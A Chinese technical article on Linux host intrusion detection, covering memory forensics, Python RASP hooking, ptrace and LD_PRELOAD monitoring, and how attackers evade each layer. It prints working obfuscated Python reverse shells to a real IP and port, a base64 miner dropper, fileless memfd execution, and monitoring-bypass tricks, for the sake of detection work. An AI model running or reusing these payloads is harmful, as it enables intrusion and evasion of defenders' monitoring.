1. 监控检测与对抗绕过的博弈
0x1:HIDS建设的主要方面
我们知道,入侵检测领域最重要的两个问题分别是:
- 完整丰富的多层次行为日志采集
- 精确、鲁棒的数据分析方法
本文将讨论的重点放在Linux系统上日志监控技术方案,以及对应的对抗(anti-monitor)监控技术、反对抗(anti-anti-monitor)监控技术上,帮助我们更好地建设体系化地HIDS体系。
0x2:对抗入侵检测的思路
对抗HIDS监控一般是在下面几个方面入手:
- 监控技术的对抗:
- 绕过命令监控方法,使HIDS收集不到命令执行的日志
- 无法绕过命令监控,但是能篡改命令执行的进程和参数,使之收集到假的日志
- 检测模型/规则的对抗:
- 无法绕过监控,也无法篡改内容,但是攻击者可以猜测命令告警的策略并绕过(例如通过混淆绕过命令静态检测)
2. 4层网络协议栈监控
0x1:TCP Session In/out监控
1. Zeek
0x2:TCP package rdata内容监控(NAT)
1. DPDK技术
2. Moloch
3. 7层网络协议栈监控
0x1:HTTP Log in/out监控
1. apache/nginx access.log监控
2. Snort
3. Suricata
0x2:DNS query out监控
1. coreDNS
4. Memory Monitor(内存)监控
0x1:RFC 3227数字证据收集标准
RFC 3227提供了获取数字证据的许多做法。
比如,收集数据的顺序可以决定调查的成败。这个顺序称为波动顺序(Volatility Order),顾名思义,调查人员必须首先收集易消失的数据。易失性数据是系统关闭时可能丢失的任何数据,例如连接到仍然在RAM中注册的网站。调查人员必须将先从最不稳定的证据中开始收集数据:
- 缓存
- 路由表,进程表,内存
- 临时系统文件
- 硬盘
- 远程日志,监控数据
- 物理网络配置,网络拓扑
- 媒体文件(CD,DVD)
随机存储器(random access memory,RAM)是一种允许读写的存储器,用于数字电子设备。运行程序时,将其读入存储设备。例如,CD被传送到RAM,然后由处理器运行。访问RAM有很多优势,比如它具有比硬盘高得多的传输速率。
但也有很多缺点,比如当计算机关闭时存储的数据很容易丢失。当计算机打开时,引导系统的引导过程将重新把库,驱动程序和首选项设置复制回RAM。 RAM存储器可以把可执行程序和网络通信端口信息拷贝到操作系统日志文件,Web浏览日志,照片,文本文件等的几种类型的文件。
如前所述,当设备关闭时,该内容可能会丢失,并且在计算机取证分析中,必须严格遵守上述取证的顺序,以确保证据不会丢失。
0x2:DumpIT
DumpIt 是一款绿色免安装的 windows 内存镜像取证工具。利用它我们可以将一个系统的完整内存镜像下来,并用于后续的调查取证工作。
0x3:Volatility Framework
Volatility是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具,可以用于windows,linux,mac osx,android等系统内存取证。
1. 生成内存dump文件
因为Volatility分析的是内存dump文件,所以我们需要对疑似受到攻击的系统抓取内存dump,主要有3种方法来抓取内存dump:
- 利用沙箱能够生成内存文件的特性:修改一下cuckoo.conf以及reporting.conf这两个配置文件用以启用生成内存dump的选项.
- 利用VMware生成内存dump的特性:暂停虚拟机系统,然后在对应目录中找到*.vmem
- 使用第三方软件抓取内存dump:
- KnTTools
- F-Response
- Mandiant Memoryze
- HBGary FastDump
- MoonSols Windows Memory Toolkit
- AccessData FTK Imager
- EnCase/WinEn
- Belkasoft Live RAM Capturer
- ATC-NY Windows Memory Reader
- Winpmem
- Win32dd/Win64dd
- DumpIt
- memdump:memdump -s 0 >> sys_memory.dump
2. Volatility语法规则
使用-h或者–help可以列举出所有可用的选项以及插件:
python vol.py -h
–info可以打印出所有已经注册的对象(插件)
python vol.py --info
这里列举几个典型的插件:
- bioskbd - Reads the keyboard buffer from Real Mode memory
- cachedump - Dumps cached domain hashes from memory
- cmdline - Display process command-line arguments
- cmdscan - Extract command history by scanning for _COMMAND_HISTORY
- crashinfo - Dump crash-dump information
- dlldump - Dump DLLs from a process address space
- dlllist - Print list of loaded dlls for each process
- driverirp - Driver IRP hook detection
- evtlogs - Extract Windows Event Logs (XP/2003 only)
- gditimers - Print installed GDI timers and callbacks
- gdt - Display Global Descriptor Table
- hashdump - Dumps passwords hashes (LM/NTLM) from memory
- idt - Display Interrupt Descriptor Table
- linux_check_inline_kernel - Check for inline kernel hooks
- linux_check_syscall - Checks if the system call table has been altered
- linux_moddump - Extract loaded kernel modules
- pslist - Print all running processes by following the EPROCESS lists
3. Profiles(配置文件)
Volatility本质上和winDbg调试内核的原理是类似的,Volatility针对每个系统需要有一个针对性的结构体配置文件,用于解析该系统的Ring3/Ring0的内存结构。
profile文件包括如下几个组件:
- VTypes:它是Volatility框架中数据结构定义以及解析的语言。大部分操作系统底层都是使用C语言编写的,其中大量使用数据结构来组织和管理相关的变量以及属性。例如:
- 元数据:系统调用信息:索引以及系统调用的名称
- 操作系统的名称(例如:”windows”,”mac”,”linux”)
- 内核版本
- 编译号
- 常量值:全局变量,在某些操作系统中能够在硬编码的地址处找到的全局变量
- 系统映射:关键全局变量和函数的地址(仅限Linux和Mac)
我们通过–info选项来查看一下Volatility支持哪些profile值。
4. 自动确定内存dump文件的profile值
我们可以使用imageinfo插件来猜测dump文件的profile值。
python vol.py -f xxxxx/memory.dmp imageinfo
imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的。
而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。
调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock),它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。
5. 内存入侵分析
python vol.py -f /opt/cuckoo/storage/analyses/9/memory.dmp imageinfo
1)列举进程
python vol.py -f /opt/cuckoo/storage/analyses/9/memory.dmp --profile=Win7SP1x86_23418 pslist
2)显示每个进程的加载dll列表
python vol.py -f /opt/cuckoo/storage/analyses/9/memory.dmp --profile=Win7SP1x86_23418 dlllist
3)bash 调用历史
4)父子进程的关系
Relevant Link:
https://www.freebuf.com/sectool/124690.html https://zhuanlan.zhihu.com/p/29952999 https://www.cnblogs.com/qiyeboy/p/10222084.html
5. 应用层(Application)RASP监控方案
RASP,全称应用运行时自我保护解决方案,可以简单理解为部署在应用环境的监控防御程序。几乎每个linux主机上都会预装Python环境(docker和serverless时代也许这个前提就不成立了),python脚本这个攻击向量对系统运行时安全的威胁是非常巨大的。
0x1:Python RASP
1. 为什么需要Python RASP,从一个编码加密payload说起
下面这是一个通过Python命令植入的挖矿木马:
python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'
通过base64解密之后的内容(ip脱敏):
import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");
通过base64隐藏真实代码是一个常用的方式,现在主流的“流检测引擎”都会包含简单的“自定义流处理函数”,可以使用简单的“base64_decode流预处理”对每条指令进行base64_decode预处理。经过预处理后,这条命令特征相对还是比较明显了。
现有的主流检测方法是静态分析,通过抓取Python进程参数,匹配关键字,比如exec,decode,base64。但这种方法在面对python这种面向对象的OO语言的时候,很容易会遭到绕过。
2. 绕过静态cmdline特征的几种方式
1)利用python字符串操作符隐藏base64函数名特征
# "base64" = "case64".replace("c","b") = "1base641"[1:7] python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("case64".replace("c","b")))' python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("1base641"[1:7]))' python -c "exec(''.join([chr(i) for i in [int(b, 2) for b in '1101001 1101101 1110000 1101111 1110010 1110100 100000 1110011 1111001 1110011 101100 1110011 1101111 1100011 1101011 1100101 1110100 101100 1101111 1110011 101100 1110000 1110100 1111001 111011 1110011 111101 1110011 1101111 1100011 1101011 1100101 1110100 101110 1110011 1101111 1100011 1101011 1100101 1110100 101000 101001 111011 1110011 101110 1100011 1101111 1101110 1101110 1100101 1100011 1110100 101000 101000 100010 110001 110000 110001 101110 110001 110011 110011 101110 110010 110011 110001 101110 110010 110011 111001 100010 101100 110010 110011 110011 110011 101001 101001 111011 1011011 1101111 1110011 101110 1100100 1110101 1110000 110010 101000 1110011 101110 1100110 1101001 1101100 1100101 1101110 1101111 101000 101001 101100 1100110 1100100 101001 100000 1100110 1101111 1110010 100000 1100110 1100100 100000 1101001 1101110 100000 101000 110000 101100 110001 101100 110010 101001 1011101 111011 1110000 1110100 1111001 101110 1110011 1110000 1100001 1110111 1101110 101000 100010 101111 1100010 1101001 1101110 101111 1110011 1101000 100010 101001'.split(' ')]]))" python -c 'exec("aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==".decode("base64"))' python -c 'exec("aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==".decode("case64".replace("c","b")))' python -c 'exec("aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==".decode("1base641"[1:7]))' python -c "exec(str.__dict__['dec'+'ode']('aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==','base64'))" echo "exec('aW1wb3J0IHN5cyxzb2NrZ""XQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCw""xLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ=='.decode('base64'*1))" | python python -c 'import time; time.sleep(99999); exec("aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==".decode("base64"))' echo "aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==" >> tmp_fs; cat tmp_fs | base64 -d >> tmp_cmd; cat tmp_cmd | python; python -c 'import time; time.sleep(99999); exec("aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==".decode("base64"))'
2)利用python字符串内置成员函数进行解码
str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')
3)利用bash管道传递参数
echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python
4)利用bash字符串拼接隐藏base64字符串
bash允许字符串分成几段分别输入,在输入bash解释器后,bash解释器会通过词法解析得到最终要执行的完整指令。
echo "exec('aW1wb3J0""IG1hdGg7YT0xMDtiPW1hdGgubG9n""KGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python
5)利用磁盘io进行一次中转,实现payload隐藏
echo "aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ==" >> tmp_fs; cat tmp_fs | base64 -d >> tmp_cmd; cat tmp_cmd | python;
有些短采集方案,例如netlink,对上述这种涉及管道符和重定向符之后的内容会遭到截断,从而无法采集到。
6)利用tmp_file实现完全不落盘的python代码执行
python -c "import ctypes; fd = ctypes.CDLL(None).syscall(319,'',1); final_fd = open('/proc/self/fd/'+str(fd),'wb'); final_fd.write('aW1wb3J0IHN5cyxzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoIjEwMS4xMzMuMjMxLjIzOSIsMjMzMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKQ=='); final_fd.close(); exec(open('/proc/self/fd/'+str(fd)).read().decode('1base641'[1:7]));" python -c "import ctypes; fd = ctypes.CDLL(None).syscall(319,'',1); final_fd = open('/proc/self/fd/'+str(fd),'wb'); final_fd.write(''.join([chr(i) for i in [int(b, 2) for b in '1101001 1101101 1110000 1101111 1110010 1110100 100000 1110011 1111001 1110011 101100 1110011 1101111 1100011 1101011 1100101 1110100 101100 1101111 1110011 101100 1110000 1110100 1111001 111011 1110011 111101 1110011 1101111 1100011 1101011 1100101 1110100 101110 1110011 1101111 1100011 1101011 1100101 1110100 101000 101001 111011 1110011 101110 1100011 1101111 1101110 1101110 1100101 1100011 1110100 101000 101000 100010 110001 110000 110001 101110 110001 110011 110011 101110 110010 110011 110001 101110 110010 110011 111001 100010 101100 110010 110011 110011 110011 101001 101001 111011 1011011 1101111 1110011 101110 1100100 1110101 1110000 110010 101000 1110011 101110 1100110 1101001 1101100 1100101 1101110 1101111 101000 101001 101100 1100110 1100100 101001 100000 1100110 1101111 1110010 100000 1100110 1100100 100000 1101001 1101110 100000 101000 110000 101100 110001 101100 110010 101001 1011101 111011 1110000 1110100 1111001 101110 1110011 1110000 1100001 1110111 1101110 101000 100010 101111 1100010 1101001 1101110 101111 1110011 1101000 100010 101001'.split(' ')]])); final_fd.close(); exec(open('/proc/self/fd/'+str(fd)).read());"
3. 反对抗(anti-anti-monitor)检测方法
1)启发式智能解码
在前面章节讨论的几种绕过方式中,不论如何规避python参数,但是在命令行中都不可避免要出现一些base64的特征串,针对这类情况,我们可以进行启发式智能解码检测:
- 强行在命令行(cmdline)中启发式地搜索潜在的base64字符串,并进行尝试性解码
- 针对解码后的内容(可能是一段python可执行代码)调用对应的”python code avengine“进行恶意文本检测
例如上面例子中,
python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("case64".replace("c","b")))' # 智能提取出”aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7“这段base64字符串
智能解码后的shellcode为:
import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");
将这段shellcode作为一个py文件,提交给python script av进行打标检测,通过av的结果反过来标记原始命令行是否是恶意。
笔者思考:
在入侵检测中,有文件/无文件/shellcode入侵之间的界限,因为git compile/run机制的存在,已经很模糊的,对shellcode内容的检测,不能简单地以”有文件、无文件“这种硬性标准来独立看待。
同时,我们要认识到,安全行为日志监控是一个逐层分层的体系,在这一层无法对抗,可以选择在上一层展开对抗。面对这小节讨论的启发式智能解码技术,一种对抗方式就是将对抗层上移到
当然,这种方式也不没有弱点,可以使用上一节列举的bash字符串拼接的方式来绕过”智能base64字符串匹配“,一旦绕过了智能解码环节,后面即使有再强大的python script av也无济于事了。
4. Py RASP技术方案
和PHP RASP,Java RASP类似,Python RASP的行为监控,简单来说就是hook关键函数,将函数的参数和返回值,送回策略进行过滤。
1)修改python运行时对象 - 深度内嵌业务代码
对于Python的理念来说,一切皆对象,我们可以动态修改Python中的对象。
# -*- coding: utf-8 -*- class _InstallFcnHook(object): def __init__(self, fcn, debug=False): self.debug = debug self._fcn = fcn def _pre_hook(self, *args, **kwargs): return (args, kwargs) def _post_hook(self, retval, *args, **kwargs): return retval def __call__(self, *args, **kwargs): if self.debug: print " FCN Hook: {0}(args={1}, kwargs={2}) = ...".format(self._fcn.__name__, args, kwargs) _hook_args = args _hook_kwargs = kwargs (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) if self.debug: print " Calling _pre_hook ({0}, {1}) = ({2}, {3})".format(args, kwargs, _hook_args, _hook_kwargs) retval = self._fcn(*_hook_args, **_hook_kwargs) if self.debug: print " Calling _post_hook (args={0}, kwargs={1}) = {2}".format(_hook_args, _hook_kwargs, str(retval)) retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) if self.debug: print " = {0}".format(str(retval)) return retval if __name__ == "__main__": open = _InstallFcnHook(open, True) open("1.txt", 'r')
在主函数中,修改open内置函数,给open添加的了日志打印的功能。运行效果如下,
函数调用顺序如下:
open('1.txt','r') ->__call__ ->_pre_hook -> post_hook -> return
但是这种技术方案有一个致命的缺点,不便于大规模自动化部署,因为我们需要将hook代码添加到用户代码之前,假如在一个大型的甲方或者乙方产品公司中,很难通过自动化批量的方式Hook代码安全地插入到每一个需要监控的业务代码中。
2)利用依赖注入技术劫持python解析器执行流
在二进制malware与行为监控技术中,我们可以使用dll劫持劫持技术,其原理就是基于dll加载顺序的先后,劫持原始的执行流,以达到malware或者行为监控的目的。同样python中我们也可以用这种方式来做。
我们来看一下一个py脚本的完整执行流,
了解了这个总流程架构,接下来的思路就是寻找可以被用来插入劫持逻辑的层。
2.1)劫持”当前目录执行层“
这里以劫持os模块下的system函数为例,首先在当前pythonpath路径下创建os.py文件,然后重载一下os模块,最后使用_InstallFcnHook改变system。
# -*- coding: utf-8 -*- import imp import sys from os import * class _InstallFcnHook(object): def __init__(self, fcn, debug=False): self.debug = debug self._fcn = fcn def _pre_hook(self, *args, **kwargs): return (args, kwargs) def _post_hook(self, retval, *args, **kwargs): return retval def __call__(self, *args, **kwargs): if self.debug: print " FCN Hook: {0}(args={1}, kwargs={2}) = ...".format(self._fcn.__name__, args, kwargs) _hook_args = args _hook_kwargs = kwargs (_hook_args, _hook_kwargs) = self._pre_hook(*args, **kwargs) if self.debug: print " Calling _pre_hook ({0}, {1}) = ({2}, {3})".format(args, kwargs, _hook_args, _hook_kwargs) retval = self._fcn(*_hook_args, **_hook_kwargs) if self.debug: print " Calling _post_hook (args={0}, kwargs={1}) = {2}".format(_hook_args, _hook_kwargs, str(retval)) retval = self._post_hook(retval, *_hook_args, **_hook_kwargs) if self.debug: print " = {0}".format(str(retval)) return retval fd, pathname, description = imp.find_module(__name__, sys.path[::-1]) mod = imp.load_module(__name__, fd, pathname, description) system = _InstallFcnHook(system, True)
os.py
# -*- coding: utf-8 -*- import os if __name__ == "__main__": os.system("ls")
test_hook.py
劫持当前目录层这个技术很容易实施,攻击者只要将劫持代码放置到待劫持的目标应用的pwd目录下即可。
2.2)劫持”设置模块路径层“
Python虚拟机在设置模块路径时,其中的第三方模块路径是加载site.py模块进行设置的。Python源码部分如下:
以笔者自己的Mac Linux py2.7为例,打开/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site.py文件,将我们在第二节中的hook代码引入到文件末尾即可,这样无论运行什么样子的用户代码,都会首先加载我们的hook代码。
但是这个方案也有一个很大的缺陷,就是内置模块中的类和函数没办法劫持。以__builtin__内置模块为例,这个模块是Python虚拟机中内置的,在虚拟机启动之前就已经加载完毕,不会再去pythonpath中去查找,常见的open函数,decode函数都是没办法劫持的,python虚拟机禁止在虚拟层修改__builtin__函数指针。
如何解决这个问题呢,思路前面说过,将监控层继续上移,来到和目标监控层同层甚至更高层的地方部署监控点即可。
2.3)劫持”__builtin__层“
python中每一个类对象都有一个__dict__,里面包含着每个类的属性信息,例如如果我们想从str取出decode函数,可以这么写代码:
str.__dict__["decode"]
因此咱们只要获取__dict__属性,对这个属性进行修改,就可以达到替换的目的。咱们使用C API来获取。
通过patch_builtin函数,我们就可以获取__dict__对象,然后使用setattr和getattr修改属性即可,由于我们不改变原有的函数,只是收集日志,所以基本上对虚拟机运行没有影响。
Relevant Link:
https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004240&idx=1&sn=9a3f0c8fec5b06d6f4aa245bfe5e40e7&chksm=8cf13b12bb86b2044dbebafc8fb4a9c29d1b09c0fa9d6d2d8d3070a3fd934b0646e5d3119c75&scene=21#wechat_redirect
0x2:Patch Shell解释器的命令监控(安全Bash/Bash RASP)
除了应用层execve的监控之外,还可以通过RASP的思路,直接对系统上的主流命令解释器(bash、zsh、csh)进行重写,对输入部分进行修改,将输入参数转储到一个专门的日志文件中,并通过日志采集技术统一收集到云端。
以bash举例:
- 通过 -c 参数输入命令
- 通过stdin输入命令
在这两个地方将”日志采集的代码“嵌入进去即可。
1. 绕过(anti-monitir)对抗技术
1)不使用原生shell解释器执行命令
也可以上传一个新的干净的bash到本地文件夹下,执行指令的时候只使用自己上传的bash来执行指令。
6. Syscall系统调用(Ring3)监控
0x1:ptrace
ptrace机制是操作系统提供了一种标准的服务来让开发者实现对底层硬件和服务的控制。
- 当一个程序需要作系统调用的时候,它将相关参数放进系统调用相关的寄存器,然后调用软中断0x80
- 在执行系统调用之前,内核会先检查当前进程是否处于被“跟踪”(traced)的状态。如果是的话,内核暂停当前进程并将控制权交给跟踪进程,使跟踪进程得以察看或者修改被跟踪进程的寄存器
- 如果没有ptrace状态或者ptrace callback执行结束后,操作系统会将参数和系统调用号交给内核(int80软中断就像一个让程序得以接触到内核模式的窗口),内核来完成系统调用的执行
- 当内核执行完成后,会将执行结果返回给应用层,同时释放int80软中断锁,让应用程序执行之后的代码
strace底层基于ptrace实现syscall的监控
strace使用ptrace机制来检测目标进程并“监听”该进程的系统调用,strace可以在每次调用系统调用时中断跟踪的进程,捕获调用,解码它,然后继续执行跟踪的进程。
而每次调用系统调用(例如,打开,读取,写入,关闭)时,都需要从用户级别到内核级别的转换,这称为上下文切换,所以syscall的监控是一个非常高频的日志,在实际工业场景中,有效传输、压缩、存储、分析这些日志也是一个重大的挑战。
0x2:ltrace - 跟踪库函数调研
ltrace被用来跟踪库函数调用,底层使用的是linux ptrace技术,大致的技术原理如下:
- 首先ltrace打开elf文件,对其进行分析,解析该程序引用了动态链接库。在elf文件中,出于动态链接的需要,需要在elf文件中保存函数的符号,供链接器使用
- 经过解析后,ltrace就能够获得该文件中所有系统调用的符号,以及对应的执行指令
- 然后,ltrace将该执行指令所对应的4个字节替换成断点指令
- 接着ltrace会fork一个新进程,并调用execvp执行被跟踪的进程,此后调用"waitpid(-1, &status, __WALL)"捕获被跟踪进程的相关信息,并调用WIFSTOPPED等来解析status,从而可以获知相关库调用信息
- 这样在进程执行到相应的库函数后,就可以通知到了ltrace,ltrace将对应的库函数打印出来之后,继续执行子进程。
1. 跟踪某个二进制程序的执行syscall过程
要跟踪“top"命令的函数调用,可以使用"ltrace top":
xxx@xxx:/usr/bin$ ltrace top __libc_start_main(0x402b60, 1, 0x7ffc31b77b88, 0x411620 <unfinished ...> __cxa_atexit(0x4115b0, 0, 0, 32) = 0 look_up_our_self(0x7ffc31b775e0, 0x7f3a2bd1cc90, 3, 64) = 0 strrchr("top", '/') = nil setlocale(LC_ALL, "") = "zh_CN.UTF-8" bindtextdomain("procps-ng", "/usr/share/locale") = "/usr/share/locale" textdomain("procps-ng") = "procps-ng" dcgettext(0, 0x4138e0, 5, 0) = 0x4138e0 dcgettext(0, 0x4138d4, 5, 2) = 0x4138d4 dcgettext(0, 0x4138df, 5, 2) = 0x4138df
2. 跟踪已有的进程
要跟踪已经运行的进程,可以使用”ltrace -p <pid>"
3. 跟踪进程以及其所有创建的所有子进程/线程的调用
可以使用"ltrace -f -t -p <pid>"
[pid 3731] 21:53:13 epoll_wait(4, 0x127f6d0, 32, 0) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x127f880, 0x127f880, 0, 0xd19bba13) = 0 [pid 3731] 21:53:13 clock_gettime(1, 0xd16b0ad0, 0, 3731) = 0 [pid 3731] 21:53:13 gettimeofday(0xd16b0ac0, 0) = 0 [pid 3731] 21:53:13 pthread_mutex_unlock(0x127f880, 0x127f880, 0, 0x1662e014) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x1317d10, 0x1317d10, 0x127f880, 1) = 0 [pid 3731] 21:53:13 pthread_mutex_unlock(0x1317d10, 0x1317d10, 0, 3731) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x127f880, 0x127f880, 0, 3731) = 0 [pid 3731] 21:53:13 pthread_self(1, 0, 0x5d2b90, 3731) = 0xd16b1700 [pid 3731] 21:53:13 clock_gettime(1, 0xd16b0ad0, 0x127f5c0, 3731) = 0 [pid 3731] 21:53:13 gettimeofday(0xd16b0ac0, 0) = 0 [pid 3731] 21:53:13 pthread_mutex_unlock(0x127f880, 0x127f880, 0, 0) = 0 [pid 3731] 21:53:13 epoll_wait(4, 0x127f6d0, 32, 0) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x127f880, 0x127f880, 0, 0xd19bba13) = 0 [pid 3731] 21:53:13 clock_gettime(1, 0xd16b0ad0, 0, 3731) = 0 [pid 3731] 21:53:13 gettimeofday(0xd16b0ac0, 0) = 0 [pid 3731] 21:53:13 pthread_mutex_unlock(0x127f880, 0x127f880, 0, 0x189b38d1) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x1317d10, 0x1317d10, 0x127f880, 1) = 0 [pid 3731] 21:53:13 pthread_mutex_unlock(0x1317d10, 0x1317d10, 0, 3731) = 0 [pid 3731] 21:53:13 pthread_mutex_lock(0x127f880, 0x127f880, 0, 3731) = 0 [pid 3731] 21:53:13 pthread_self(1, 0, 0x5d2b90, 3731) = 0xd16b1700 [pid 3731] 21:53:13 clock_gettime(1, 0xd16b0ad0, 0x127f5c0, 3731^C) = 0
0x3:strace - 跟踪系统调用
strace是Linux环境下的一款程序调试工具,用来监察一个应用程序所使用的系统调用。它可以从开始到结束跟踪二进制的执行,并在进程的生命周期中输出一行具有系统调用名称,每个系统调用的参数和返回值的文本行。
strace top
0x4:LD_PRELOAD动态连接.so函数劫持
1. 监控技术方案
2. 绕过(anti-monitir)对抗技术
1)通过静态编译glibc库绕过监控
glibc/libc是linux中常用的动态链接库,也就是说在动态链接程序的时候才会用到它,那么我们只需要将木马后门进行静态编译即可,不依赖系统中的glibc/libc执行,就不会被劫持。
2)通过int80中断直接触发系统调用绕过监控
glibc/libc是对linux系统调用(syscall)的封装,我们可以绕过glibc库,直接使用汇编 sysenter/int 0x80指令调用execve系统调用,下面是使用int 0x80调用execve syscall的简写代码:
3)通过重写LD_PRELOAD环境变量绕过监控
除了直接修改LD_PRELOAD的配置文件之外,还可以显示地在命令行里加上LD_PRELOAD环境变量,cmdline里执行的环境变量会被优先执行。
LD_PRELOAD="/lib64/libc.so.6" bash
Relevant Link:
https://github.com/Tencent/HaboMalHunter https://zhuanlan.zhihu.com/p/22596610 https://www.jianshu.com/p/33521124bdf2 https://blog.huoding.com/2015/10/16/474
7. 基于System Event callback/notification机制的应用层(Ring3)监控
0x1:基于Netlink Connector的事件监控
1. 技术方案
